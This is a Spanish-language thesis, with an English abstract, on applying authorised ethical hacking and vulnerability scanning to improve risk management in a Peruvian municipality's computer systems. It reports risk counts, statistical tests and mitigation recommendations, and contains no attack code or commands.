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El presente trabajo de investigación tuvo como objetivo mejorar la gestión de 
riesgos en los sistemas informáticos de la Municipalidad Provincial de Moyobamba 
a través de la implementación de Ethical Hacking. La metodología que se empleó 
para el Ethical Hacking básicamente tenía las siguientes fases: Reconocimiento, 
Escaneo, Enumeración, Análisis de Vulnerabilidades, Hacking de Sistemas y 
Escalado de Privilegios. Asimismo, los indicadores de la variable dependiente: 
gestión de riesgos, fueron relacionados según criterios. 
Se utilizó la investigación cuantitativa con el diseño experimental del tipo pre-
experimental con un Pre-Test y Post-Test, teniendo como variable independiente el 
Ethical Hacking y variable dependiente la Gestión de Riesgos. La población estuvo 
conformada por los sistemas informáticos que incluía servidores, computadoras, 
sistemas operativos, software y Data Center, haciendo un total de 280, pero la 
muestra se tomó solo de 25 sistemas informáticos para realizar una mejor 
investigación. Para identificar amenazas se empleó el cuestionario en los 
trabajadores de la oficina de tecnologías de información y para el análisis de 
vulnerabilidades se utilizó escáneres, como Nessus, OpenVas y Acunetix. 
Al finalizar el trabajo de investigación se logró identificar 35 vulnerabilidades y 10 
amenazas. Por otro lado, para calcular el nivel del riesgo se realizó la multiplicación 
de amenaza x vulnerabilidad en valores cuantitativos de: 0 – 10 y valores 
cualitativos de: muy alto, alto, moderado, bajo, muy bajo. Se encontró 13 riesgos 
en nivel alto, 17 riesgos en nivel moderado y 5 riesgos en nivel bajo. Una vez 
clasificados se procedió a brindar alternativas de solución para su posterior 
mitigación. 









The objective of this research was to improve risk management in the computer 
systems of the Provincial Municipality of Moyobamba through the implementation of 
Ethical Hacking. The methodology used for Ethical Hacking basically had the 
following phases: Reconnaissance, Scanning, Enumeration, Vulnerability Analysis, 
Systems Hacking and Escalation of Privileges. In addition, the indicators of the 
dependent variable risk management were related according to criteria. Quantitative 
research was used with an experimental design of the pre-experimental type with a 
Pre-Test and Post -Test, having the Ethical Hacking as independent variable and 
the Risk Management as dependent variable. The population was made up of 280 
computer systems that included servers, computers, operating systems, software 
and Data Center. The sample consisted of 25 computer systems in order to conduct 
a better research. A questionnaire was used for information technology office 
workers to identify the threats, and scanners such as Nessus, OpenVas and 
Acunetix were used for vulnerability analysis. At the end of the research study, 35 
vulnerabilities and 10 threats were identified. Also, the multiplication of threat by 
vulnerability was conducted to calculate the level of risk in quantitative values of 0 - 
10 and qualitative values of very high, high, moderate, low, very low values. Among 
the results 13 high level risks, 17 moderate level risks and 5 low level risks were 
found. Once classified, alternative solutions were provided for subsequent 
mitigation. 










Actualmente los sistemas informáticos y la información almacenada en estos 
sistemas, son los activos más importantes de una organización, es por ese motivo 
que se tiene la obligación de establecer una adecuada gestión de riesgos, evitando 
de esta manera, minimizar la materialización de amenazas que se aprovechen de 
alguna vulnerabilidad en los sistemas informáticos, ocasionando daños, tanto en la 
parte tecnológica, como en lo económico. 
El año 2017 fue un año muy difícil para la ciberseguridad en el mundo porque se 
llevó a cabo un ataque mundial con el famoso Ransomware conocido como 
WannaCry, cuyo impacto fue exacerbado por explotaciones filtradas de la National 
Security Agency (NSA) de los Estados Unidos, llamadas EternalBlue y 
DoublePulsar. Estos exploits se utilizaron en un Ransomware llamado Wannacry y 
Petya que bloqueaba los sistemas operativos Microsoft Windows, encriptando toda 
la información y exigiendo un pago de rescate en Bitcoin (Thomas, Burmeister y 
Low, 2018, p. 2); por consiguiente, muchos de los sistemas de instituciones del 
gobierno, hospitales y bancos quedaron afectados. Además, esas organizaciones 
al no tener implementada una buena gestión de riesgos en los sistemas 
informáticos, carecían de protocolos y procedimientos para enfrentar a esos 
ataques, finalmente todo esto causó grandes pérdidas económicas. 
Las organizaciones públicas y privadas dependen de las tecnologías de información 
para ejecutar todos sus procesos. Los sistemas informáticos están sujetos a 
muchas amenazas, que pueden causar grandes consecuencias en los procesos 
internos de la organización. Mediante la explotación de vulnerabilidades conocidas, 
y en muchos casos desconocidas, los hackers pueden comprometer la 
confidencialidad, integridad o disponibilidad de la información. Las amenazas en 
los sistemas informáticos pueden incluir ataques cibernéticos, errores humanos, 
malware o una inadecuada gestión de los riesgos. Por lo tanto, es importante que 
los líderes y gerentes de todos los niveles entiendan sus responsabilidades para 
gestionar los riesgos de seguridad de la información, controlarlos o mitigarlos. 




Se debe desarrollar un plan de riesgos cuidadosamente antes, durante y después 
de la gestión de riesgos. El proceso de gestión de riesgos funciona mejor cuando 
se crea una propuesta de valor sobre el programa de riesgos, entendiendo por 
completo los componentes de la evaluación de riesgos: como la identificación y 
priorización, todo esto encaja dentro del proceso general de gestión de riesgos. 
(PricewaterhouseCoopers, 2015). 
Una inadecuada gestión de riesgos en los sistemas informáticos podría traer 
consigo múltiples amenazas y vulnerabilidades, ya sea, por una configuración o 
administración incorrecta en los servidores de datos, falta de seguridad en los 
sistemas, prácticas de programación deficientes, etcétera. El riesgo se refiere a la 
posibilidad de que se produzcan pérdidas o daños y para poder medirlo, es 
necesario determinar la probabilidad que una amenaza detectada explote una 
vulnerabilidad, que en función de los valores obtenidos se establece un nivel de 
riesgo. Por otro lado, estos riesgos comprometen la confidencialidad, integridad y 
disponibilidad de la información, si esta llega a ser modificada o robada, podría 
ocasionar que toda la organización quede comprometida, ocasionando enormes 
gastos de dinero y una reputación no confiable de la organización.  
En el caso de los sistemas webs, muchas de las vulnerabilidades críticas en el 
software son por causa de que los desarrolladores al escribir código no adoptan 
buenas prácticas de programación porque generalmente se enfocan más en la 
funcionalidad y aspecto visual, que en la seguridad del sistema. (Cuevas [et al.] 
2018, párr. 9).  
Para identificar vulnerabilidades en los sistemas informáticos y obtener mejores 
resultados, se ejecuta un Ethical Hacking, que consiste en realizar, desde la 
perspectiva de un hacker malicioso, ataques controlados a los sistemas, previa 
autorización con la empresa, con el único objetivo de encontrar y explotar las 
vulnerabilidades, pero sin dañar el sistema, brindando alternativas de solución para 
mitigarlas. De esta manera todas las debilidades de los sistemas son reportadas a 
la organización para su posterior corrección e implementación en la gestión de 
riesgos. Cabe mencionar que todo este proceso debe ser planificado con antelación 
considerando aspectos técnicos, de gestión y estratégicos. (Giannone [et al.] 2018, 




Existe un gran porcentaje de organizaciones públicas que poseen infraestructuras 
tecnológicas obsoletas y sin actualizaciones, ejecutan sistemas operativos y 
software desactualizado, con vulnerabilidades conocidas; es decir, con debilidades 
de seguridad, que con una buena gestión y monitoreo podrían ser subsanadas, 
evitando de esta manera una infección por malware o ataque cibernético (Gordón, 
2018, p. 3).  
La importancia de esta investigación para la carrera profesional de Ingeniería de 
Sistemas es de un valor muy alto, ya que, esta profesión está relacionada con el 
uso de las tecnologías de información y la ciberseguridad. En un mundo globalizado 
donde la información digital es manejada por los sistemas informáticos, que 
incluyen software y hardware, debe ser protegida, pero aquí nace una interrogante 
¿Cómo sabemos si la información digital de la empresa está segura en los sistemas 
informáticos? La respuesta es simple, primero se debe identificar amenazas y 
vulnerabilidades en dichos sistemas, y en segundo lugar, se debería tener 
protocolos bien establecidos para las respuestas a incidentes. Todo esto puede 
realizarse al aplicar una correcta implementación de Ethical Hacking y Gestión de 
Riesgos. 
La realidad problemática de este proyecto de investigación empieza con la 
identificación de cuatro problemas, los cuales son:  
   -Falta Identificar Riesgos.  
   -Falta Analizar Riesgos. 
   -Falta Brindar Tratamiento a los Riesgos. 
   -Falta Aumentar los Mecanismos para la Protección de Seguridad Física. 
 
Estos cuatro, son los problemas, que, con unos buenos tratamientos en la gestión 
de riesgos y ayuda del Ethical Hacking, podrían ser identificados y mitigados, 
evitando que causen daño en los sistemas informáticos. 
A continuación, se formula el problema de investigación: ¿De qué manera la 
implementación de Ethical Hacking influye en la gestión de riesgos sobre los 




Esta investigación tiene justificación: Económica, porque la Municipalidad 
Provincial de Moyobamba no tendrá que gastar dinero extra para contratar 
especialistas en Ethical Hacking que analicen sus sistemas, ya que esto tiene un 
costo muy elevado. Asimismo, la tesis tiene justificación Práctica porque existe la 
necesidad de mejorar la gestión de riesgos, con la identificación de amenazas y 
vulnerabilidades para poder brindar alternativas de solución. De esta manera, 
preservar la confidencialidad, integridad y disponibilidad de la información. 
Como objetivo general se plantea Mejorar la gestión de riesgos en los sistemas 
informáticos de la Municipalidad Provincial de Moyobamba mediante la 
implementación de Ethical Hacking, por otro lado, los objetivos específicos son:  
   -Aumentar el Número de Riesgos Identificados. 
   -Aumentar el Número de Riesgos Analizados. 
   -Aumentar el Número de Riesgos Tratados. 
   -Aumentar el Número de Mecanismos para la Protección de Seguridad Física. 
La hipótesis para esta tesis es “La Implementación de Ethical Hacking Mejora la 














II. MARCO TEÓRICO 
 
Como antecedentes nacionales tenemos a (Cruz, 2014). El cual aplicó una técnica 
de Pentesting para mejorar la seguridad informática en los sistemas informáticos 
de una empresa tecnológica en la ciudad de Trujillo, lo realizó utilizando el Open 
Source Security Testing Methodology Manual, que tuvo una mayor cobertura al 
realizar la auditoria, porque es una de las metodologías más usadas por los 
profesionales de ciberseguridad y está relacionada a cualquier empresa; y tuvo 
como objetivo el hallazgo de vulnerabilidades en los sistemas, también el autor 
(Bermeo, 2017) en su trabajo se enfocó en realizar la implementación de Ethical 
Hacking, en una empresa comercial; para dar apoyo en el análisis de 
vulnerabilidades de la red informática, asimismo, con los resultados obtenidos, 
formuló una propuesta de seguridad para aplicar reglas y política internas al 
detectarse posibles vulnerabilidades o intrusiones en la red de datos de la empresa. 
También (Ayala, 2017), hizo su tesis sobre un sistema de gestión de seguridad de 
información para mejorar el proceso de gestión del riesgo en una entidad, tuvo 
como objetivo evaluar, monitorear y optimizar la seguridad de la información. 
Asimismo, se menciona antecedentes internacionales (Francis, 2016) en su tesis 
presenta la explotación automatizada de la red informática a través de Penetration 
Testing (ANEX), un sistema automatizado de Pentesting diseñado para infiltrarse 
en una red informática y trazar rutas desde una red comprometida a una máquina 
de destino especifica. Los resultados mostraron ataques exitosos en múltiples 
niveles de red y confirmó la eficiencia y eficacia del diseño de la utilización de 
fuentes automatizadas y de código abierto; por otro lado, (Paulino, 2016) presentó 
un análisis de aplicaciones en el sector financiero para detectar y mitigar 
vulnerabilidades mediante pruebas de intrusión, para lograrlo creó un proceso que 
abarcó desde las reglas de compromiso, la elección del enfoque de pruebas, la 
selección de un escáner web, la realización de Pentesting y confirmación de 
vulnerabilidades, finalmente, los autores (Diaz y Bustamante, 2015) realizaron un 
diseño de estrategias de mitigación para mejorar la seguridad de información de un 





Las siguientes teorías sirven de base para comprender mejor el trabajo de 
investigación:   
a) Ethical Hacking, se refiere a la acción de “hackear” los sistemas informáticos 
de una organización, previa autorización firmada, en el cual se utilizan las mismas 
técnicas y herramientas de un “Black Hat Hacker”, el cual es una persona que 
rompe la seguridad de un sistema informático con fines ilícitos; sin embargo, el 
Ethical Hacking busca de una manera legal y legítima identificar vulnerabilidades 
de un sistema informático en la parte del software y hardware, informando a la 
organización sobre los resultados obtenidos, al mismo tiempo de brindar 
alternativas de solución para poder corregirlas y mitigarlas (Baloch, 2015, p. 02). 
b) Certified Ethical Hacker (CEH), es una certificación de hacking ético 
desarrollada por el Consejo Internacional de Consulta de Comercio Electrónico de 
los Estados Unidos, que tiene una metodología para desarrollar un correcto Ethical 
Hacking. (EC-Council, 2019) 
c) Exploit, es un tipo de código malicioso escrito en lenguajes de programación 
como Python, Ruby, C ++, etcétera, para el aprovechamiento de una vulnerabilidad 
en un sistema con el fin de tener control sobre este (VILLEGAS, 2018).  
d) NIST SP 800-30, es una guía desarrollada por el Instituto Nacional de 
Estándares y Tecnología de los Estados Unidos, para brindar orientación en el 
análisis y gestión de riesgos informáticos.  
 e) Kali Linux, es una distribución basada en el sistema operativo Debian, que se 
enfoca en auditorias de seguridad, análisis forense digital e ingeniería inversa 
(Offensive Security, 2013). 
f) Metadatos, son datos que contienen información relativa a un documento o 
fichero concreto. Así, por ejemplo, un archivo de texto podría contener entre sus 
metadatos multitud de información relacionada con su procedencia, como datos 
sobre su autor, su fecha de creación y modificación, qué otros usuarios han 
manipulado el documento o el software utilizado para su redacción (Alonso, 2018, 




g) Amenaza, en seguridad informática, se define como cualquier circunstancia o 
evento con el potencial de causar daño a un sistema informático 
(Governance & Standards Division, 2017).  
h) Sistema Informático, es la combinación de hardware, software y personal 
informático que permite procesar y almacenar la información digital. 
i) Riesgo, en el contexto de la seguridad informática, riesgo es la probabilidad de 
que una amenaza se materialice, utilizando vulnerabilidades existentes, generando 
perdidas y daños (ISO 31000). 
j) Vulnerabilidad, es una debilidad, el cual puede ser atacado y usado como punto 
de entrada al sistema. (Oriyano, 2016),  
k) Gestión de Riesgos, en el contexto de la seguridad informática, la gestión de 
riesgos toma en cuenta las vulnerabilidades, las fuentes de amenazas y los 
controles de seguridad que se planifican e implementan para determinar el nivel de 
riesgo, grado de probabilidad y alternativas de solución (New York State Information 



















3.1. Tipo y diseño de investigación 
 
El tipo de investigación realizado fue cuantitativo. Para definirlo, los autores Chawla, 
Sondhi, Sharma y Wadehra (2018), lo plantean de la siguiente manera: 
[…] El énfasis principal de la investigación cuantitativa está en la 
recolección de datos numéricos. También se concentra en medir la 
escala, el rango y la frecuencia de un fenómeno, además, implica 
examinar los aspectos tangibles de la investigación, como los valores, 
las actitudes y percepciones. 




   
                                  = 
 
Dónde:  
G = Grupo experimental. 
O1 = Variable dependiente Pre-test (Gestión de Riesgos) 
X = Variable independiente (Ethical Hacking) 
O2 = Variable dependiente Post-test (Gestión de Riesgos) 
3.2. Variables y Operacionalización 
       3.2.1. Variables 
 
 Independiente:  
Ethical Hacking. 
 Dependiente:  
Gestión de Riesgos. 
G Pre-Test X Post - Test 




           3.2.2. Operacionalización de variables 








Consiste en realizar, desde la 
perspectiva de un hacker 
malicioso, ataques controlados 
sobre los sistemas informáticos, 
detectando y aprovechando las 
vulnerabilidades. Todo esto con 
el fin de comunicar a la 
organización de los riesgos de 
seguridad (Astudillo, 2015). 
Esta técnica permite 
identificar, analizar y mitigar 
las vulnerabilidades en los 
sistemas informáticos, lo cual 
es imprescindible para aplicar 
medidas correctivas. 
 










Nivel de las vulnerabilidades. 
 









Requiere un análisis de la 
información sobre amenazas y 
vulnerabilidades para determinar 
en qué medida podrían afectar 
negat i va mente  a  una  
organización y la probabilidad de 
que tales circunstancias o eventos 
ocurrirán (Department of Defense 
United States of America, 2015). 
Mediante la gestión de 
riesgos se puede mantener la 
confidencialidad, integridad y 
d isponibi l idad de  la 
información en los sistemas 
informáticos, que incluye 
software y hardware. 
 
 









Número de riesgos analizados. 
 
Número de riesgos tratados. 
 
Número de mecanismos para la 




           3.2.3. Indicadores de la variable dependiente 
 





Modo de Cálculo 
Número de riesgos 
identificados. 
Conocer los riesgos 
que se pueden 






Riesgo = Amenaza + Vulnerabilidad 
  
 
Numero de riesgos 
analizados. 
Evaluar el grado de 





Riesgo = Amenaza x Vulnerabilidad 
Número de riesgos 
tratados. 
Brindar mecanismos 






 NRI = NRT  
                
NRI:  Número de riesgos identificados. 
NRT: Numero de riesgos tratados. 
 
Número de 






proteger los equipos 





                                  NMPSF = NCP 
                            
NMPSF: Número de mecanismos para la protección 
seguridad de seguridad física. 








En el contexto de metodología de la investigación científica una población se 
refiere a todos los miembros de un conjunto real o hipotético de personas, 
eventos u objetos a los que deseamos generalizar los resultados de nuestra 
investigación. A partir de una población definida se elige una muestra para 
poder realizar la investigación (Pandey y Mishra, 2015, p. 41). 
Para esta investigación, la población lo constituye todos los sistemas 
informáticos, que incluyen software y hardware de la Municipalidad Provincial 
de Moyobamba, los cuales hacen un total de 280 entre computadoras, 










280 sistemas informáticos entre 
computadoras, servidores, 
sistemas operativos y 
aplicaciones. 
 
Indicador 2: Numero de riesgos 
analizados. 
 
Indicador 3: Número de riesgos 
tratados. 
 
Indicador 4: Número de 










“Cuando tomamos muestras, seleccionamos algunos casos para examinar 
en detalle, y luego usamos lo que aprendemos de ellos para entender un 
conjunto mucho más amplio de casos” (Lawrence, 2014, p. 246).  
Se eligió el tipo de muestreo no probabilístico para poder decidir los 
elementos que formaron parte de la muestra y realizar la gestión de riesgos 
de los sistemas informáticos que incluye hardware y software. 
 
Indicadores Muestra 






25 sistemas informáticos entre 
computadoras, sistemas 
operativos y 1 data center. 
Indicador 2: Numero de riesgos 
analizados. 
Indicador 3: Número de riesgos 
tratados. 
Indicador 4: Número de 
mecanismos para la protección de 
seguridad física. 
 
Indicador Unidad de Análisis 
Número de riesgos identificados. Sistemas informáticos. 
Número de riesgos analizados. Sistemas informáticos. 
Número de riesgos tratados. Sistemas informáticos. 
Número de mecanismos para la 








3.3.3. Criterios de Selección 
 Criterios de inclusión: son todas las características que hace a un 
elemento sea tomado en cuenta como parte de una muestra de 
investigación. 
 Criterios de exclusión: se refiere a la regla que, al momento de 
agregarse, hace que un elemento se lo tome en cuenta dentro de la 
investigación. 
Muestra Criterio de inclusión 
Criterio de 
exclusión 
Número de riesgos 
identificados. 
Todos los riesgos que podrían traer 
mayor consecuencia en los 
sistemas informáticos.  
Ninguno 
Número de riesgos 
analizados. 
Los riesgos que se le asignan un 
grado de probabilidad y ocurrencia 
en los sistemas informáticos.  
Ninguno 
Número de riesgos 
tratados. 
Son los riesgos que se le brinda un 
tratamiento para poder disminuir el 




mecanismos para la 
protección de 
seguridad física. 
Se propone procedimientos para 
tener una mayor seguridad física 
de los sistemas informáticos.   
Ninguno 
 
3.4. Técnicas e instrumentos de recolección de datos, validez y 
confiabilidad 
 
3.4.1. Técnicas e instrumentos: 
 
La técnica de la encuesta se establece como "una recolección de información 
sobre una muestra de una población mediante sus respuestas a ciertas 
interrogantes". Este tipo de técnica facilita una gran cantidad de métodos para 





“Un cuestionario es una lista escrita de preguntas, cuyas respuestas son 
registradas por los encuestados. En un cuestionario, los encuestados leen las 
preguntas, interpretan lo que se espera y luego escriben las respuestas” 
(Kumar, 2011). 
La escala de Likert en un cuestionario comienza con una definición clara de la 
construcción de interés, y utiliza un conjunto de expertos para generar 
alrededor de 80 a 100 elementos de escala potenciales. Luego, se miden estos 
ítems en una escala de calificación de 1 a 5 de la siguiente manera: (1) por 
estar totalmente en desacuerdo con el concepto, (2) por estar en desacuerdo 
con el concepto, (3) por estar indeciso, (4) por estar de acuerdo con el concepto 
y (5) para estar totalmente de acuerdo con el concepto. Después de realizar el 
cuestionario, con los datos obtenidos se procede a realizar la respectiva prueba 
estadística (Bhattacherjee, 2012) 
Técnica Instrumento Fuente Informantes 




Personal de la Oficina 
de Tecnologías de 
Información. 
 
3.4.2. Validez del instrumento 
 
Juicio de Expertos 
Es el conjunto de opiniones brindadas por profesionales expertos en el tema de 
investigación. 
3.4.3. Confiabilidad del Instrumento 
 
Se aplicó la prueba del coeficiente de Alfa de Cronbach, el cual es un 





3.5. Método de análisis de datos 
 
 T-Student, para realizar una prueba de similitud de las medias de dos 
muestras que tienen un numero de población similar y se ejecuta cuando 
una muestra sea menor o igual a treinta elementos. 
 Shapiro- Wilk, cuando la muestra sea menor a 30 elementos. 
3.6. Aspectos éticos 
 
Para realizar esta investigación se recolectó conocimiento de diferentes fuentes 




















4.1. Estudio de Factibilidad Económica  
 
4.1.1. Flujo de Caja 
 
Descripción Año 0 Año 1 Año 2 Año 3 Año 4 
INVERSIONES           
1. Costo de Inversión 4930.00         
2. Costo de Desarrollo 2357.56         
3. Costo de 
Capacitación 
150.00         
TOTAL DE INVERSIÓN 7437.56         
            
OPERACIONES           
4.Costo Operacional   47.11 47.11 47.11 47.11 
TOTAL DE 
OPERACIONES 
  47.11 47.11 47.11 47.11 
            
BENEFICIOS           
5. Beneficios   4538.00 4538.00 4538.00 4538.00 
TOTAL DE 
BENEFICIOS 
  4490.89 4490.89 4490.89 4490.89 
            

















4.2. Análisis Estadístico 
 
Es una técnica que se utiliza para analizar y describir los datos cuantitativos de un 
estudio. Comprende el uso de la estadística descriptiva e inferencial, esta última 
puede ser paramétrica o no paramétrica (Sanchez, Reyes y Mejia, 2018).   
 
4.2.1. Indicador 01: Número de Riesgos Identificados  
 
Tabla 1: Indicador 01: Número de Riesgos Identificados 
 




Bajo 100% 0% 
Medio 0% 33% 
Alto 0% 67% 
 
 
Como se muestra en la tabla 1, en el Pre-Test el Número de Riesgos Identificados 
se mantenían en un nivel bajo 100%, al implementar el Ethical Hacking se aprecia 
una mejora pues en el Post-Test se llegó a un 33% en el nivel medio y un 67% en 
el nivel alto. Lo mismo podemos ver en la figura 1: 
 
 







4.2.3. Indicador 02: Número de Riesgos Analizados  
 
Tabla 2:  Indicador 02: Número de Riesgos Analizados 
 
Niveles Número de Riesgos Analizados 
Pre-Test Post-Test 
% % 
Bajo 50% 0% 
Medio 50% 0% 
Alto 0% 100% 
 
 
En la tabla 2 se observa que en el Pre-Test el 50% se encontraba en el nivel bajo 
y medio, al implementar el Ethical Hacking en el indicador Número de Riesgos 
Analizados en el Post-Test pasaron al nivel alto 100%. Lo mismo se muestra en la 































4.2.4. Indicador 03: Número de Riesgos Tratados  
Tabla 3: Indicador 03: Número de Riesgos Tratados 
 
 
Niveles Número de Riesgos Tratados 
Pre-Test Post-Test 
% % 
Bajo 67% 0% 
Medio 33% 0% 




Como se muestra en la tabla 3 observamos que en el Pre-Test el 33% se 
encontraba en el nivel medio y el 67% en un nivel bajo, al implementar el Ethical 
Hacking en el indicador Número de Riesgos Tratados con la aplicación de Post-















4.2.4. Indicador 04: Número de Mecanismos para la Protección de Seguridad 
Física  
Tabla 4: Indicador 04: Número de Mecanismos para la Protección de Seguridad 
Física 
 
Niveles Número de Mecanismos para la Protección 
de Seguridad Física 
Pre-Test Post-Test 
% % 
Bajo 83% 0% 
Medio 17% 0% 
Alto 0% 100% 
 
 
Como se muestra en la tabla 4 observamos que en el pre test el 83% se encontraba 
en el nivel bajo y el 17% en el nivel medio, al implementar el Ethical Hacking en el 
indicador Número de Mecanismos para la Protección de Seguridad Física en el 
































4.3. Pruebas de Normalidad 
 
Es necesario verificar el supuesto de normalidad para corroborar si las variables 
en estudio son paramétricas o no paramétricas, utilizamos la prueba Shapiro-Wilk 
por tener más potencia en muestras pequeñas (n<35). Naresh Malhotra (2008). 
  Criterio para determinar la normalidad de los datos: 
Si P-valor ≥ α Aceptar H0: los datos provienen de una distribución normal 
Si P-valor < α Aceptar H1: los datos NO provienen de una distribución normal 
Tabla 5: Pruebas de Normalidad 
 




Pre-Test – Post-Test Riesgos Identificados ,976 6 ,933 
Pre-Test – Post-Test Riesgos Analizados ,982 6 ,961 
Pre-Test – Post-Test Riesgos Tratados ,915 6 ,473 
Pre-Test – Post-Test Mecanismos para la 
Protección de Seguridad Física 
,907 6 ,415 
Pre test - Post test Gestión de Riesgos ,866 6 ,210 
 Fuente: Resultados SPSS versión 26 
 
Los resultados nos indican que en las variables el valor p>0.05. Por lo tanto, 
aceptamos la hipótesis nula H0, es decir que los datos provienen de una distribución 
normal; por tal motivo se recomienda utilizar la prueba paramétrica t - Student. 
Según (SÁNCHEZ, 2015) la prueba t – Student se fundamenta en dos premisas; la 
primera en la distribución de normalidad, y la segunda: en que las muestras sean 
independientes. Permite compara muestras, N ≤ 30 y/o establece la diferencia entre 












(bilateral) Media D.S 
 
95% de intervalo de 
confianza de la 
diferencia 
Inferior Superior 
 Pre test  - Post test 
Gestión de 
Riesgos 
-39,833 1,722  -41,641 -38,026 -56,648 5 ,000 
 Fuente: Resultados SPSS versión 26 
 
En el análisis anterior se muestra la prueba paramétrica t - Student, que se realizó 
con la finalidad de demostrar que la Implementación de Ethical Hacking Mejora la 
Gestión de Riesgos en los Sistemas Informáticos de la Municipalidad Provincial de 
Moyobamba. El grupo de Pre-Test y Post-Test se desarrollaron significativamente.   
En la tabla 6 se observa el valor de la prueba t - Student (t(5)=-56.648; p<0.01) las 
diferencias emparejadas nos indica que hay diferencias altamente significativas 
entre ambos grupos Pre - Test y Post - Test. Es decir, existe evidencia estadística 
suficiente para rechazar la hipótesis nula, aceptando la hipótesis del investigador: 
 
H1: La Implementación de Ethical Hacking Mejora la Gestión de Riesgos 
























Tabla 7: Prueba t - Student para la diferencia de medias por indicadores 
 
 
   
t gl 
Sig. 
(bilateral) Media Desviación  
95% de intervalo 
de confianza de 
la diferencia 
Inferior Superior 




-8,000 2,000 -10,099 -5,901 -9,798 5 ,000 




























Como se muestra en la tabla 7 el valor de la prueba t - Student para las 
dimensiones de la gestión de riesgos, las diferencias emparejadas en todas las 
dimensiones nos indica que hay diferencias altamente significativas entre ambos 
grupos Pre-Test y Post-Test. 
Existe evidencia altamente significativa para rechazar hipótesis nulas 
específicas, quedando aceptadas la hipótesis alternativa donde la 
Implementación de Ethical Hacking Mejora la Gestión de Riesgos en los 







5.1. INDICADOR N° 01:  Número de Riesgos Identificados 
Los riesgos están conformados por amenazas y vulnerabilidades. Al implementar 
Ethical Hacking utilizando la metodología del Certified Ethical Hacker, se 
encontraron 35 vulnerabilidades y 10 amenazas, de los cuales la mayoría de 
vulnerabilidades son por falta de actualización en el software y mala configuración 
del sistema. Por otro lado, (CRUZ, 2014), empleó la metodología Open Source 
Security Testing Methodology Manual (OSSTMM) y solo encontró solo 5 
vulnerabilidades, en los sistemas de información de una empresa, esto se debe a 
que no utilizó ningún escáner de vulnerabilidades, como, por ejemplo, Nessus, 
Openvas, entre otros. 
Para mayor detalle sobre este indicador N° 01 se puede visualizar la tabla 9: 
Número de Riesgos Identificados. 
5.2. INDICADOR N ° 02:  Número de Riesgos Analizados 
Para obtener el nivel de riesgo se multiplicó la probabilidad de la amenaza por el 
impacto de la vulnerabilidad (Amenaza x Vulnerabilidad), una vez realizado esta 
operación se obtuvieron 13 Riesgos Altos, 17 Riesgos Moderados y 5 Riesgos 
Bajos. Por otro lado, (BERMEO, 2017) analizó y clasifico solo las vulnerabilidades 
con la herramienta de escaneo OpenVas en la cual ya viene clasificado por un nivel. 
Obtuvo 6 Vulnerabilidades en nivel Alto, 22 Vulnerabilidades en nivel Moderado y 
10 Vulnerabilidades en nivel Bajo. 
Para mayor detalle sobre este indicador N° 02 se puede visualizar la tabla 10: 
Número de Riesgos Analizados. 
5.3. INDICADOR N ° 03:  Número de Riesgos Tratados 
Una vez identificados y analizados los riesgos, se procedió a brindar alternativas 
de solución para cada vulnerabilidad y amenaza. Asimismo, se estableció una 
estrategia que consistía básicamente en: Asumir, Evitar Reducir y Transferir el 
riesgo, de los cuales 34 riesgos se pusieron en una estrategia de Reducir y 1 riesgo 




formato de controles para riesgos de la norma ISO 27001, para tratar de brindar 
solución. 
Para mayor detalle sobre este indicador N° 03 se puede visualizar la tabla 11: 
Número de Riesgos Tratados. 
5.4. INDICADOR N ° 04:  Número de Mecanismos para la Protección de la 
Seguridad Física 
Para este indicador se abarcó computadoras y el Data Center donde se encuentran 
los servidores, se estableció 5 mecanismos de seguridad para protegerlos contra 
diferentes amenazas, estos mecanismos fueron tomados de una manera que se 
pueda asegurar la disponibilidad de estos equipos en el caso de presentarse algún 
incidente. En cambio, (DIAZ y BUSTAMANTE, 2015), establecieron 17 estrategias 
de mitigación, cabe mencionar que algunas estrategias se repitieron para diferentes 
amenazas. 
Para mayor detalle sobre este indicador N° 04 se puede visualizar la tabla 12: 





















La implementación de Ethical Hacking en los sistemas informáticos de la 
Municipalidad Provincial de Moyobamba para mejorar la gestión de riesgos tuvo las 
siguientes conclusiones: 
1. Se aumentó el número de riesgos identificados conformados por 35 
vulnerabilidades y 10 amenazas. El escáner de vulnerabilidades Nessus y 
OpenVas, sirvieron de gran ayuda para identificar las vulnerabilidades en los 
sistemas informáticos. Por otro lado, el cuestionario y las preguntas, 
ayudaron a detectar amenazas que tenían un gran efecto negativo en la 
Municipalidad. 
2. Se aumentó el número de riesgos analizados, para lo cual se clasificaron en 
niveles, de los cuales se encontró 13 riesgos altos, 17 riesgos moderados y 
5 riesgos bajos, debiendo brindar una mayor importancia a los riesgos altos 
porque están muy cerca de causar un daño y los riesgos moderados, ya que, 
por su naturaleza, se encuentran a un paso de convertirse en una mayor 
amenaza.  
3. Se aumentó el número de riesgos tratados, brindándolos alternativas de 
solución para dar con la reducción del riesgo, para esto se tomó en cuenta 
las amenazas y vulnerabilidades identificadas anteriormente.  
4. Se aumentó el número de mecanismos para la protección de la seguridad 
física, estableciéndose 5 mecanismos precisos en salvaguardar la 















1. Se deberían identificar otras posibles amenazas y vulnerabilidades que se 
podrían presentar en futuro sobre los sistemas informáticos, ya que, esta 
investigación se basó en las amenazas y vulnerabilidades que existían en 
los sistemas de la Municipalidad Provincial de Moyobamba. 
2. El personal de la Municipalidad Provincial de Moyobamba debería tomar 
cursos de capacitación en temas de ciberseguridad para conocer los 
mecanismos de protección contra ataques de ingeniería social, phishing, 
etcétera.  
3. Los sistemas informáticos deberían ser auditados mediante Ethical Hacking 
por lo menos una vez al año, ya que, todos los días aparecen nuevas 
amenazas y vulnerabilidades que pueden comprometer gravemente la 
confidencialidad, integridad y disponibilidad de la información, si estos no 
llegan a ser tratados de una manera adecuada. 
4. Las políticas de seguridad de la información relacionados con los sistemas 
informáticos deberían estar documentadas con todos los protocolos y 
procedimientos a seguir cuando se produce algún riesgo. Asimismo, todo el 
personal de la Municipalidad Provincial de Moyobamba debería estar 
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Anexo 01: Desarrollo del Ethical Hacking 
Introducción al Ethical Hacking 
Una organización sin políticas y procedimientos de seguridad bien definidos sobre 
sus sistemas informáticos corre un gran riesgo respecto a la confidencialidad, 
integridad y disponibilidad de su información, es por ese motivo que se debería 
establecer políticas de seguridad eficientes, ya que la información es el activo más 
importante de una organización para que se puedan realizar todos los procesos 
internos. Por otro lado, Internet es la vía más común por donde viajan los diferentes 
tipos de amenazas, códigos maliciosos, virus, malware, entre otros. Por 
consiguiente, el riesgo de seguridad en las redes y sistemas informáticos nunca 
podrán ser eliminados, pero si se podrá disminuir en gran porcentaje, siempre y 
cuando se cumplan con mecanismos y políticas de seguridad adecuados. 










Confidencialidad:  se refiere a la característica que asegura para que solo los 
